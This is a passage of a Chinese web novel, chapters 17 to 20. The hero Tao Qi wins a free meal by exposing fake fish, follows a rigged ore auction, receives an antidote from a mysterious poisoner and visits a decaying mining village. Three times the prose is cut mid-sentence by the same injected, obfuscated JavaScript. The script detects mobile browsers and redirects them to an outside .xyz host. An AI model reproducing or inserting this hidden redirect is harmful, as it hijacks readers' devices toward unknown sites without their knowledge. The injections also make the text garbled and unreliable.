桃七觉得这么下去不行，遂在第四天，带着江跃亭来到天香楼，打算好好搓一顿。 “鹿肉鲍鱼羹、驴肉火烧、红烧黄唇鱼、碧玉饺子、烩菜锅、手扒鸡，醪糟饼怎么没有？跑去染瓦坊杜大爷家的摊位上给我买一个……”桃七捧着菜单子，一连报出一串菜名，一道比一道贵。 经过过去三天，江跃亭已看出桃七是个翻个跟头听个响就知道兜里有几个铜板的货，本对他不抱什么希望了，今日反倒带着自己豪爽了一把。可他心里没有爽，只有浓浓的担忧，连忙制止了桃七，手抵着唇边，小声说：“这么多菜，咱吃得起吗？” 17. 吃白食无赖挨白眼 桃七也压低了声音，凑他耳根道：“无事，我自有手段搞钱，带你吃香喝辣的！” 江跃亭摆摆手：“惭愧，说来江某虚长班头几岁，还要班头在吃食上照顾，要不这顿饭我请吧。” 桃七重重一拍他的胸脯：“你的钱都给了徐掌柜修缮店面，还剩下几个铜板啊，留着自己用，今天啊，就让你瞧瞧我的本事。” 一大桌子好菜不多时就上来了。 桃七是实打实的驴粪蛋蛋表面光，可他端起富人做派来，亦是有模有样，连连招呼江跃亭。 “吃啊！” 这些天，桃七也差不多摸清了江先生的脾性，带他去举辉堂客房住的时候，他就对着人家大门口的人流排遣上了：“淘尽门前土，屋上无片瓦，十指不沾泥，粼粼居大厦。” 面对这一桌子菜，又是吟诗两三首，末了，动筷子前，又确认了一遍：“班头，这一桌子菜，至少要一贯铜钱，你确定有钱结账吗？” “我说你这人，怎么这么墨迹呢？就甭担心了，我请你的，你只管敞开了肚皮吃！”桃七伸手把江跃亭细细的腰带给扯开了。 江跃亭口里念着“有辱斯文”，默默地给自己系了回去。 读书人的这点儿别扭，唉，随他去吧。 桃七还让小二上了一壶酒，俩人边吃边聊，从烨都民风民情、市斤趣事、到官场腐败、边关战事。 “你可能说出烨都三省六部的官员都有哪些？”桃七用一种“考考你”的语气说。 “三省六部中四品以上官员的名号，科举入仕的年份，哪些大人是同乡，这些我都能倒背如流，不知班头想听哪一部分？” “哦，你消息竟然灵通至此？” “并非我的功劳，是为着我的科举，我家人曾劳心劳力搜集过这些，按着我的脑袋逼我背会了，想着将来或许有用。”提起已故的亲人，江跃亭眼尾泛起悲伤的红晕，“只不过，全他妈是无用功！” 说完，将手里一杯女儿红痛饮下肚！ 桃七一拍桌子：“谁说是无用功？对于我们的大事业来说，你脑袋里的这些，不比你念的四书五经有用一百倍吗？” “班头说得对，这半年来，我方知，经史子集里都是狗屁，什么仁义礼智、什么修齐治平，在这烨都，没有权势财力，你就算满腹经纶，满腔报国热血，也不过是任人欺压鱼肉……” 得亏他们做着包厢，不然又会被其他的食客指指点点说又是两个失意的疯子来买醉了。 “我没读过书，从小在下九流里讨生活，曾以为读书的都是做官老爷的料，后来才知，人分三六九等，很多东西，还没出娘胎就定下了。”桃七又给他满了一杯，“慢点儿喝，多吃点菜。” “今日能与班头说出这些，我心里半年来憋着的一股气着实疏散了不少。”江跃亭抹了把脸，“班头需要的话，回头我把那些默下来给你。” “好好好！”桃七往他碗里夹了快酱牛肉，斟酌着又起了个话题，“依你看……摄政王宋无忌此人如何？” 江跃亭不自觉看了一眼桃七。桃七并不承认自己在为宋无忌做事，他背后的主家到底是谁，江跃亭一时也摸不清楚。桃七不说，他便不问。 “摄政王宋无忌，此人趁皇帝年幼，把持朝纲、独断专行、嗜杀成性、毫无仁心，老实说，我对他所为是大大的不齿。就算他与魏渭塘不和，我对此人亦如此看。” “江兄果然是个恩怨分明之人。” “他而今的权势来自于往年的军功，但他残暴的名声也是从战场上打下来的，据说此人二十岁时，为了打下叛军占领的驮延城，把在城郭外战败被屠的叛军人头放入投石车抛入城中，一时天上下起了人头雨，全体叛军军心顷刻涣散，溃不成军。连带无辜百姓也死了五成，据说一半是被砸死的，一半是被活活吓死的。剩下的百姓四散奔逃，宁愿饿死在外面也不回家里。” 投射人头是宋无忌残暴名声的起始，桃七也有所耳闻，他以为那都是谣传，今日听江跃亭说起来煞有介事，不得不又信了几分。 江跃亭：“自他回都以来，为了揽权，使尽所有手段，处死上百名政见不合的官员，连谢相的儿子也被他在御前一刀砍下头颅，残暴至此。而今这满堂文武，想让他死的人不知凡几，只不过摄于他的威名，不敢做声罢了。” 桃七笑道：“江兄刚还不是说仁义礼智都是狗屁吗？我还以为你要效法那宋无忌，仁心是负累，妥协是陷阱，只有如他那般灭杀一切违逆自己的势力，才能保住自己的荣华富贵，也保住自己的命。” “班头误解我了。灭杀一切？说得轻巧，我看宋无忌此人早晚不得善终。半月前摄政王府刺杀一案，实在惊心动魄，虽说没有成功还让他抓住了三个刺客，不过往后还会出什么事，那谁算得到呢？” “你知道此事？”桃七惊讶。 “自然，还是摄政王府主动放出的消息，他们说那三名刺客已经认罪吐口，供出幕后主使。不过，我猜宋无忌应该没有那么容易撬开死士的嘴，可能是故意放出消息，等待背后之人自己露出马脚吧。” “那依你看，背后主使到底是谁呢？”桃七兴冲冲地问。 “现在还不好说，宋无忌的仇家太多了，去岁削藩闹得轰轰烈烈，他得罪的又何止是一个夏雍王？” 桃七与他闲聊收获颇丰，甚至忘记了时辰，又叫了几个好菜，上了好几壶不一样的酒。 “五年前北川矿场一案，我想听听江兄如何看？” 桃七以为江跃亭还是会像之前一般透露出一些消息以及他自己的观点，可江跃亭却愣了一下，疑惑道：“这桩案子已经过去五年，为何近来还有许多人在问。” 桃七心中一紧，汗毛都竖起来了，连忙追问。 “五年前北川矿场的矿脉闹鬼后，便已停工，矿工全部遣散。前一整子，有一人来到地下拍卖场，说要拍卖一块矿石，他说那矿石正是是出自北川矿场。拍卖场的主事本不愿意理会，谁会去买一块未提纯过的矿石呢，又不是用来赌石的翡翠原石。但那人坚持说一定有人会拍下，而且还把起拍价定在了三百两白银。不知他与拍卖场的主事是怎么商谈的，总而言之，物件已经上了拍场的名单。” “你可知那人是谁？作何打扮？”桃七嗅到了背后的不简单。 “这我就不清楚了，只是听说他是寻常百姓的模样，不像往日里出入拍卖场的富贵人家。” “那件东西，什么时候开拍？” “算算日子，拍卖的日子正是明日。” 桃七打定了主义，明日一定要去凑凑热闹，瞧瞧这背后的到底是什么人物。 酒足饭饱后，小二上来了，点头哈腰，询问客官这一桌菜是否还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006017|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算满意。 意思其实是催他们付钱走人，这一桌一下午只翻了一台，要是食客都像桃七他们似的，那天香楼乘早关门大吉算了。 桃七口里叼着跟牙签，指着一盘菜，目光是明晃晃的挑刺儿：“这是黄唇鱼吗？” 那小二脊背明显僵直了一下：“这……自然是了，小店童叟无欺，绝不会以次充好。” “黄唇鱼，体形纤长，侧边扁平，背部微微隆起，腹部广圆，尤其是有一条细长的尾柄。”桃七用筷子把那光溜溜的鱼骨夹起来，“你瞧瞧这鱼骨，体形是纤长，侧边的确扁平，略呈纺锤形，倒像是黄唇鱼，可这鱼吻尖长而突出，下颌锯齿凸于上颌，背青而腹白，尤其是尾柄，怎么短短的一条，小爷我怎么看，它就是条花鲈吧……” 小二知道这是遇到专业的了，磕磕绊绊道：“这……这……客官说的，小人哪里听得懂……” “花鲈市五文一条，黄唇鱼六十文，用花鲈来冒充黄唇鱼，你吗天香楼，可真是会做生意啊。” “客官您可严重了，我什么都不知道，这鱼到底是什么，得问问后厨。” 桃七用力在桌上啪一下：“去问！” “客官，您这……”小二知道遇到刺儿头了，“小店后厨正忙的不可开交……” “心虚了？那我自个儿去问你们老板，问问他是怎么做的生意？”桃七作势要大步出门。小二急吼吼地把他拦下了：“客官别冲动，小的这就去问，您先坐，坐，再给您上壶茶清清口您看怎么样？” 小二抹着额头上的汗走了。 江跃亭小声问：“班头，这到底是？” 桃七一抬下巴，得意洋洋：“没事儿，他叫不来人。” 原来，桃七知道，黄唇鱼这等名贵的鱼类是春夏季节才有，眼下已入秋，若要吃黄唇鱼，必得是八百里加急从淮南一带送来，成本飙升至三两白银一条，只有皇宫里才吃得起。这家店不撤了这道菜，还在继续卖，说明一定是用了其他鱼顶替冒充，桃七就是看准了这一点，故意点了这道菜，打假来了。 果然，一盏茶功夫，小二又麻溜地回来了：“我们掌柜的说，您这般的贵客来一趟是给我们天香楼面子，这道黄唇鱼就不收您银子了，您看……” “不成！”桃七喝道，“你们烧一道鱼都要偷奸耍滑，啷个晓得你们其他菜里有没有门道啊？把你们老板和厨子都叫来，不然，我就端着这鱼骨头，让往来的食客们都瞧瞧，你们这么大个招牌，是怎么做生意的。”桃七端起菜盘子就要往外冲，“拿五个铜板一条的便宜货冒充黄唇鱼，小爷我一嗓门喊出去你们店就等着关门大吉吧！” “诶呀！客人您这是做什么，别介别介……” 江跃亭插不上话，若是他有银子，他一定会主动付钱的，可惜他没有。只好全程骚红着一张脸，在心里皮里阳秋埋怨桃七，更埋怨自己信了他的鬼话。 最后，这场闹剧以一桌菜全部免单以及加送三壶女儿红结束。桃七拎着酒壶，领着拿袖子遮脸的江跃亭，趾高气昂离开了天香楼。 “吃白食的无赖，我呸！”把两尊瘟神送了出去，那小二狠狠地骂了一声。 隔日，桃七来到地下拍卖场，观摩了整场持续了两个时辰的拍卖，却没有见到那块矿石登场，一问管事的，说那东西取消拍卖了，买卖双方已经在幕后达成交易了。 18. 登堂寻役缘矿求丸 拍卖场位于烨都东城地底，占地十几亩，日间人流三五百，到了晚上繁华时有上千人之多。 听管事儿的说，那是一颗锡矿石，将东西录入待拍榜后，几天里根本没有人在意，巧就巧在今早，有个买主让他们联系卖家，直接用底价买走了。 “那买主长什么样？” “这我就不清楚了。”也不知是真不清楚，还是买主交代了要保密。 桃七往回走的时候，整个人看起来浑浑噩噩的。 “等等。”江跃亭突然拉住了他。 “怎么了？”桃七看看他，然后顺着他的目光，看向那个管事儿的。那人也侧着头看向他们，一副欲言又止，不干不脆的样子。 江跃亭回到管事儿的那里，取出钱囊里仅剩的几十个铜板，递给那人。 原来是要贿赂才肯说……桃七敲了下自己的脑门儿，骂自己怎么这么蠢。 可是这么点钱，那人会稀罕吗？ 那人收了。 看也不看，似乎不在意有多少钱，只要有就好。管事儿的笑呵呵道：“东西在午时交割，去良言堂的那个口，有辆马车，到时候人应该在里头。” 良言堂是烨都西市的第一大的药材铺子，如举辉堂一般也是这地下拍卖场的隐秘入口。 午时，人来人往的大街上，不少百姓进出良言堂购药，良言堂的药材昂贵，所以反出入的无不是衣着富贵之人，或是达官大户的仆从。 不显眼的侧边弄堂，停歇着一辆灰蓬蓬的马车，极为低调。 桃七和江跃亭才来到此地，便见有个下人打扮的男子，捧着一个能放一颗人头的红色漆木盒子，上了马车，放下东西，空着手又下去了。 那人应是地下拍卖堂的伙计，将东西放入马车，等买主来登上马车，就能取走了。 随后，二人在良言堂门口蹲了个把时辰，也没见一个人影前来。 “是不是注意到了咱们，故而不愿现身？”江跃亭小声在他耳畔说道。 “若是这样，就该立即把马车拉走，而不是继续停着等。”桃七见那马等了不知多久，地上洒满了是马粪，气味十分难以言喻。 “莫不是……交割中途出现什么问题了，或是买主记错了时辰晚到了？” “可能吗？”桃七低声道，不是单纯的质疑江跃亭，而是自己也在怀疑。 又过了一炷香的功夫…… “不等了！”桃七突然站起来，拍拍江跃亭的肩膀，“你在外头盯梢，我去马车里看看。” “不成，班头！”江跃亭拉住他，“万一被人发现怎么办？” “我就说我是找错了马车，误上的。” “敌在暗，咱们根本不知道他们是谁……” 桃七把他拉着自己衣角的手抓了下去：“若是买主是好说话之人，我现在上去了，他们也不会把我如何，若不是善茬，那他们直接拿走了，我们岂不是更看不到里头的东西。” 江跃亭思索片刻，觉得有理，还待说什么，桃七却已经闷头冲向那马车。 “好歹设计个暗号啊！万一有人来了，我怎么提醒你呢？”他急的跺足。 桃七掀开车帘，见里头空无一人，主座上端端正正放着那个红漆木盒子。 他缓缓靠近，伸手，抚摸上了那个盒盖。 这个木盒用料考究，是整块的红木，边缘还有镶金的纹饰，精美程度不啻摄政王府里装宝贝的匣子。盒子有锁扣，却并没有上锁。 很难想象，里头居然放置的是一颗锡矿原石。 如果真是锡矿石，那桃七也看不明白这一出，若不是……或者说，那石头里面有些什么门道…… 这一切，打开盖子就知道了。 他双手覆上了盒盖，咔哒一声，缓缓掀开…… 他的表情一开始是紧张，面部肌肉绷紧，有细密的汗珠浮在汗毛尖儿上，紧张到喉咙都快冒烟。 看了一眼里面的东西，形状大小有点诡异的熟悉。他的眼珠子微微瞪大了，一阵恶寒从胸口涌上来。 最后，他像是被狠狠噎到了似的，当即七窍生烟，大声骂了一句娘。 “我*你奶奶的敢耍老子！” 江跃亭被这一声弄得心惊肉跳，快步上前想看看发生了什么，却见桃七顶着铁青的脑门，掀开马车帘子，径直跳下了车，还被地上的马粪滑了一下脚，差点一屁股坐下去。 “班头，发生了什么，你怎么……”江跃亭吓得六神无主，“你怎么把这盒子拿下来了！” “是那个人！”桃七气得挠头，“气死我了！” “是谁啊？” 桃七怒火中烧，气得在马臀上拍了一下，那马尥了蹶子，后蹄一蹬，正巧踢到了他手里的盒子，盒子盖掀开，里头飞出了一颗圆圆的药丸。 那药丸往上飞了一小段，直直往下落去。 不好！ 地下的马粪，一大滩！ 要是它掉进去，那滋味…… 变故发生发得太突然了，桃七怎么也想不到今天这么倒霉。 他也是幸运的，一只粗粝的灰黑色手掌在那药丸落入新鲜马粪之前，稳稳当当地接住了。 这人不知是何时出现在他们身边的，桃七和江跃亭居然完全没有注意到，就像是空间撕裂了一个口子，里头伸出一只手，拯救桃七于水火。 二人齐齐抬头，向那人看去。 “我滴个乖乖！”那人好似大松一口气，“好容易练出了一枚药，差点被你给糟蹋了。” 桃七当即像是吃了炸药一般：“是你！” “是我。”那人撇眼看了看桃七，一头粗糙微卷的黑发，眼球凹陷，下颊黧黑，长得十分潦草，但桃七一眼认出了他——天知道他有多想咬死这人。 “你还真是不经勾引。”那人手上将那药丸一抛一抛，把玩一样。 “给我解毒！”桃七举手一拳，毫不留力，袭击他的面门。 可那人身法诡异，明明身体毫无大动作，只是脖颈微微一偏，正好避开了他的拳头。 “这不是给你送来这月的解药了吗，你再不吃下，过了今日子时，就会暴毙而亡。” “我吃你的心肝！”桃七踢脚过去，速度极快，可那人用空着的那只手，在桃七的脚踝某处轻轻捏了一下，蹬得笔直的腿竟当场抽起筋来。 桃七惨叫一声，往后一倒，幸而江跃亭眼疾手快，把他一把抱了个满怀，不然他要一头栽倒进马粪堆里。 “喏，你拿着吧。”那人把药丸丢给江跃亭。 “这是什么？”江跃亭拿起药丸细细打量，在日光下呈现黑红色，还泛着暗金色的纹理，一看就知道不是凡物。 “用的药材都是良言堂买的，别再糟蹋了。” 桃七推开江跃亭，狠声道：“是你特意把我引到这里来的，根本没有什么原矿石，一开始就是你做的局，是不是？” “嗯，不错，你还不是太蠢。” “你到底是谁？” “我是王府侍卫，你一早不就知道了吗？爬床的侍婢。”那人信口说出只有他们知道的暗语，笑得别提多阴险。 “你！”桃七从来没在一个人身上吃过这种瘪，“给我彻底解了这毒，不然我死也不会放过你。” “那可不行，若彻底解了毒，以后你不伺候了跑了，我找谁去？”那人说完，轻轻巧巧地一跃，居然掠上了屋顶，“我还想见识见识，你如何让老子舒服呢，哈哈哈……” 那人的身影与笑声一并远去，离去的速度十分快，像是一息之间，就飞越了四五里，根本无处寻踪。而且四周来来往往的百姓，竟都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006018|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有听到他的声音，只有桃七和江跃亭二人听到，似是一种内力发声的玄妙法门。 江跃亭见识到了那人的本领，不由得惊叹万千，扶着麻了一条腿还没好的桃七说：“班头，那人的功夫好生厉害，你认识他吗？” “不认识！”桃七把药丸装回了盒子里。 “这丸药是什么？” “老鼠屎。” “矿石呢？” “地底下。” “现在咱们该去哪啊？” “举辉堂！” * 现如今桃七也算是举辉堂包间里常住的贵客了，里头的人上上下下对他都很客气，他甩出钥匙牌，一说要找掌柜的，伙计就屁颠屁颠领他去找了人。 举辉堂的正经生意也是拍卖货品，只有人想不到，没有他不能拍的，人奴、牲口、宝剑、珠玉，甚至是一件女子的肚兜，只要是不犯大岐律，什么都能拍。可桃七发现，这几天举辉堂的生意有些冷清。 “前几日东家吩咐说，奴隶，尤其是女奴，我们堂里以后就不卖了。前日才处理了手头最后的几个，就关门绝了这门生意，再有卖主牵着人来卖统统谢绝。” “哦？”桃七语调不乏讽刺，“天下财宝尽入吾彀，这么大一块生意都不做了，岂不是对不起这块招牌。” “那招牌也打算换了，”掌柜的诚惶诚恐道，“就改做——仁行义举爱我大岐！以后举辉堂就兼做为穷苦人家施舍粥饭棉衣的善堂，您看怎么样？” 桃七觉得这满脸富贵相的掌柜对自己恭敬得好没道理，但他的主要目的也不是这个。低头思索片刻，问道：“你们这里之前接引卖主带来的奴隶的伙计，叫什么名字？” “呦，这样的人举辉堂里没有十个也有八个，不知您问的是哪一个？” “那个人，身量不高，容貌普通，面色黧黑，一双手也是黢黑，像是……像是常年挖煤一般。” “呦，您瞧得可真细，可我手底下人太多了，相似形貌的一抓一大把，一会儿还真想不出来有谁是手黑脸黑的。” “你给我好好想想，再不济，去翻翻当值的记录，那人应在二十一日前在门口当值，他将我从人牙子手里接过，带我去了后院给几个仆妇梳洗……对了！”桃七想到了什么。“那几个老妈子！” 掌柜的把三名膀大腰圆的健妇带来，规规矩矩给桃七行礼。 还有一人不到，因为举辉堂不再做人奴的生意，人手过多，已经辞了。剩下的三人里，也有一人今日就要辞了。他们见到桃七，俱是眼前一亮，明显还记得他。 “当日是你们给我梳洗的。” “是。”仆妇们心里直打鼓。 “那天，将我从门口带到后院，交给你们的人，现在在哪里？” “这……”三名健硕仆妇相互看了看，摸不清该不该说。 “老实告诉我，我保你们在这举辉堂里继续干下去。”当日的小小奴隶，摇身一变成了坐堂公，竟还有了几分威仪和高贵的气度。 “回贵人的话，那人前日，也随杜五娘一起被辞了。” “杜五娘是谁？” “就是俺们四人里的最后一个。” “那人叫什么？” “俺们都叫他茂爷，从前也是堂前管事儿的。” “呦，这么一说我就知道了。”掌柜的插口道，“就是陈茂哇！” “陈茂。”桃七把这名字在舌尖滚了一遭，完全没有头绪，“这是他的真名吗？” “自然是，他第一次来我们堂找活干，拿出的户籍证明，上头写的就是这个名字。” “你知道他住哪儿吗？” “他住在……”掌柜的想了半晌，突然报出一个意料之外的地名，“北川矿产！” 意料之外，却又在情理之中。 19. 竹蜻蜓，打哑谜 出了烨都北边城门，再往官道上疾行八十余里，便能看到一片黑褐色的山脉，巨大的砂岩和流纹岩构成山体，中部呈现下凹，似乎曾有个巨大的魔物，一口吞吃了大半个山峦。与四周郁郁葱葱的茂密树林形成鲜明反差。 官道有个岔路口，往这里头拐过去，再绕着崎岖的山路继续前行四十里，便是大岐皇室的私产之一——北川矿场所在地。 北川矿厂原本出产锡铜矿，锡与铜可混合制成青铜，冶炼铸成生活用具、农用器物以及武器。后来偶然间挖掘出了金砂，还是个名副其实的富矿。离烨都这么近的金矿，简直是一块在嘴边冒出的大肥肉，果不其然，没两个月就成了皇家的私矿。 而今这金矿已然关闭，再无往日矿工矿奴们忙忙碌碌挥洒汗水的影子，目之所及一片萧索。 桃七雇了两匹骡子驮着他和江跃亭，行了一整日才到了到这里。映目便是一堆堆黑乎乎的矿石残余物堆积。可在黑色石堆中间，竟还有一幢幢低矮的房舍，并且还住着人。此地的百姓脸上衣上也是黑乎乎的，看起来，他们已经在此地居住多年了，都是曾经矿工矿奴的家人。 昔日北川矿场的矿工，大多是外地来的逃荒难民，或是穷得没办法来矿场里找活儿，并且举家迁徙到此，在矿场边上落脚，建造屋舍，形成了一个小小的村落。五年前矿场关闭后，他们也没地方去了，还是居住在此，只不过没了收入，生活连温饱都不能保证，成年男女多去烨都里寻别的活计，而他们的父母和幼儿便居住在此地，故而桃七二人见到的多是老人和孩童。他们的脸、手、脖子几乎全是灰黑色的，与桃七故意用墙灰抹黑自己的脸不同，他们的皮肤上的颜色是怎么洗都洗不掉的。只有来世换个出生，才能彻底消除。 更可怕的是，居住在矿场附近的人，大多患有矽肺病和尘肺病，所以这个小村落里的每个角落，时常能听到苍老的咳嗽声，以及闻到廉价的药味。 此处位置偏僻，多年不见外人，两人陌生面孔突然出现，引起了不少孩童和老人的关注。但他们也只是看了桃七几眼，并没有很大的反应。 麻木，空洞，绝望，以及一眼看得到的未来，恰似没有未来。 桃七的眼神在四处瞧了瞧，眼前一亮，捡起一根劈碎掉后被人丢弃的竹杆。拿出头发里藏的小刻刀，开始削那根枯了不知多少年的竹子。 江跃亭看着他这么做，不解其意。 桃七的动作很利索，把那半根竹竿削成了竹篾子形状，再剪成手掌那么长的一截，中间对称的地方凹下去一些，又用剩余的材料削了一根细细的木棍出来，插入中间的凹槽处，一根竹蜻蜓就造好了。在染瓦坊，一件这样的孩童玩具，一个铜子儿能买三个，桃七不犯懒时，一下午能做七八十个出来。 他将双手贴在一起，竹棍放在中间，快速一搓，那竹蜻蜓就向上盘旋，升了起来。 江跃亭想不到班头还有门手艺在身上，望着那飞起的竹蜻蜓，心也如它一般，似乎要腾跃而起。 然而，人力终是不足，仅仅片刻，那竹蜻蜓就打起了摆子，歪歪扭扭地落了下去，掉在沙堆里。 桃七走了几步将竹蜻蜓捡了起来，吹一吹上面的灰，嘴角裂开一个浅笑，抬头望向某个一直偷看自己的稚童，扬了扬手里的东西。 那一张小脸黑黑红红，嘴巴上还挂着鼻涕泡的稚童被诱惑了，一小步，一小步地往他那里挪去。 可能还是怕生，他走到篱笆处，就不敢再靠近了，桃七又搓起了竹蜻蜓，在上面一吹，似乎这样就能飞得远一些，两手之间发出“呲”的一声，竹蜻蜓快速往前飞去，直直撞在篱笆上。 稚童蹲下，捡起竹蜻蜓，笑嘻嘻的，也开始搓了起来，飞得好高，比他的阿爸阿妈还要高，比他们家破败的房顶还要高。 二人继续往前走，迎面而来一位佝偻身躯，从山上捡拾柴禾归来的老者，桃七向他询问此地是否有个叫做陈茂的人，居住在何处。那老人给他指了一处宅院，怕桃七找不到，就放下背篓，领着他们去了。 锡铜矿的尾砂，掀起一片沙尘，天色也如泼墨般浓重。三人沉默地向前走着。 那也是一处黑乎乎的瓦舍，与旁的房屋没什么不同，甚至比其他地方还要僻静一些。 老人把他们领到门口，便打算回去了，桃七问：“老人家，你们为何不离开。” “离开？”老人笑了笑，连没剩几颗的牙也是黑色的，“能走哪儿去呦……” 是啊，他明明知道答案的。若非无处容身，谁会留在废弃的矿区，衰减自己的寿数。 桃七转身，进入了院子，推开半掩着的半扇门。 傍晚了，屋子杂乱堆放着一堆堆的矿石，将仅有的窗格也遮住了一大半，显得十分昏暗，但主人没有点灯。一道熟悉的背影，坐在塌上，手里拿着一块黑黢黢的矿石出神，似在看一块金子一般。 “为什么还回来？”桃七问。 “因为我们，是属于这里的。”那人答。 “没有人是生来属于哪里的。”桃七道，“你不带着他们去出去拼一把，哪里来的好前程。” “若离开注定死路一条……” “你没试过，哪知不可能？” “不是所有人都是你！” 不是所有人都是桃七。 桃七哑然。 从小到大，老邓劝了他无数遍，让他给自己挣个好前程，往后吃香的喝辣的做人上人，桃七都当他放屁。今日他也劝起了别人，别人也当他放屁。 那人的头转了过来，望向门口站着的瘦成一根竹竿似的少年，目光中充满了探究之意：“那你呢，你又为什么回来。” 桃七皱了皱眉：“我从未来过这里。” “不，”那人手一松，那块锡矿落入足下的矿石堆中，与其他丑陋的石块融为一体：“你也是属于这里的。” “从五年零九个月前开始，你就一直和我们在一起了。” 桃七望着那堆矿，凝起的双眸又暗淡了下去，似乎疲惫得不再思索。 江跃亭往前两步道：“你这人胡说八道些什么，我们没空跟你打哑谜，说，你要怎么样才能解了班头的毒。” 桃七伸手拦住了他，阻止他继续说下去。眼前的“陈茂”武功高深莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15006019|161928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测，敌我不明，若是激怒了他，不知会发生什么祸事。 “你先出去吧，我同他单独谈谈。”桃七对江跃亭说。 江跃亭是读书人，除了魏家之外，就没遇上过几个坏人，对这人的功力之深厚也没什么概念，但是桃七这么说，他还是很顺从地往后退了几步，退出了门外。 明明并无任何人关门，然而他才一退出去，那门竟然极其快速地自动关上，“嘭”一声响，差点夹道他挺翘秀气的鼻子。 屋内，只剩下桃七和他两人。门也关上了，光线更是暗下去一大截，连对面的人脸也看不清了。 桃七从怀里拿出一个鼻烟壶大小的白瓷瓶子，打开塞子，将里头一颗药丸倒在手心，那药丸发出淡淡的暗金色流光，十分独特，正是昨日在马车上得到的那颗。桃七头一仰，掌心往口里一拍，不甚明显的喉结处动了两三下，把那颗东西送了下去。 “这是我的诚意。”桃七下颌微扬，带了点睥睨之势，对这人，对那毒，一丝一毫的惧意也没有。 “接下来该轮到你了。” 那人鼻腔里发出冷蔑的哼声：“我没有什么东西能吞给你看的。” “那就先说说，这毒叫什么？”桃七走到他做的塌边，与他用同一种姿势，对称地坐着。 “它叫，照人。” “赵人？” “照明之照。” “好名字。”桃七的心里居然没有什么波澜，竟然真的像是在此找到了归宿一般，视线一转，与陈茂对视，那眼神与之前的三次相遇时的针锋相对完全不同，有一种彼此身处同一种境地之中的默契。 “那解药真的必须每月食用一次吗？” “不错。” “下个月，我再来此地找你，你能给我解药吗？” “山人自有妙计，何须循规蹈矩。” “何时能彻底解了此毒？” “这不是我能做主的。” “什么意思？” “有人不希望，”陈茂的眼神泛起温柔，“要拴住你的不是我，是他。” “宋无忌？” “保密。” “你和宋无忌什么关系？” “合作。” “为什么与此心狠手辣之人合作？” “你不也仰仗他的鼻息活着吗？” “你的真名叫什么？” “你不也没告诉我吗？” “你！”桃七发现这人真是来克自己的，自己对他一无所知，然而人家却已经把他摸了个底朝天。 这时候，屋外传来一阵嬉嬉闹闹的声音。 “这里这里……就是这里，跟那人一起的人做的。” 江跃亭认出了带领着一群小孩儿跑过来的，正是刚才那个拿到竹蜻蜓的稚童。 “去去，小鬼，一边儿玩去……” 屋门打开，桃七走了出来：“怎么回事？” 那稚童眼神一下子闪亮，向桃七冲过来，身后跟着一群黑脸黑牙的熊孩子，将他围成一圈，叽叽喳喳地闹着：“我也要，我也要。” “竹蜻蜓，我也要。” 20. 误好风托手向青云 七八个小孩，叽叽喳喳叫起来，露出缺了牙的豁口，围着桃七，黑漆漆黏糊糊的小手往桃七衣衫上摸。 桃七当然一点也不介意，他的人设就是不爱干净。抱起一个最小的小女孩，徒手抹掉她口鼻之间的鼻涕，问：“你们要什么？” “竹蜻蜓！”孩子们齐声。 “谁告诉你们的？” “小志！”孩子们指着一个举着竹蜻蜓，领大家来此的稚童。 “谁会做？” “你！” “我是谁？” “？” 孩子们懵了。 “你是谁？”小志问。 “是啊，你是谁？”，“你是谁？”，“你在茂叔家里干嘛？” 乱七八糟问起来。 “听好了！”桃七指点江山似的一挥手，“哥哥我行不更名坐不改姓，桃七！以后你们都要叫我七哥。” “七哥！”，齐刷刷的一声喊。把边上的文弱书生震得一抖。 “七哥我要……” “竹蜻蜓，竹蜻蜓，竹蜻蜓……” “做嘛做嘛。” “好！”桃七把小女孩放下来。看了眼光秃秃的院子，来到屋檐下，从两根垂下来的吊绳上拿下一根一人多长的晾衣杆，坐下开始削起来。 “他开始做了！”小志说。孩子们兴奋地围在他身边，甚至还有几个老人在边上看，应该是看孩子来的。 陈茂住的院子里四个角落都是杂草，地面都不平，还堆放了一小堆一小堆的矿石和炼制了一半的锡铜矿渣滓。这根晾衣竹竿可能是院子里唯一有用处的东西了，在桃七的手下咔咔断成几段。有男孩子闲不住，拿起一段在手上甩起来。 “放下！”桃七厉声吼道。 男孩子吓得手一抖，竹子掉地上了。 “谁要竹蜻蜓？” “我！”举起一圈小黑手。 “都要排队，不排没有！” “好！” 江跃亭眼睁睁看着最顽劣年纪的孩童在桃七的指挥下，列成了歪歪扭扭的一队。用简短又大声的话训人的手段，是只有军队里才会用的。 桃七跟竹子打了五年交道，一把寸余的尖刀，便能化腐朽为神奇。过程中，江跃亭发现，他雕刻的动作娴熟利落，细瘦的手掌生满了茧，那茧并不薄，显是做多了手上的活计才能留下的 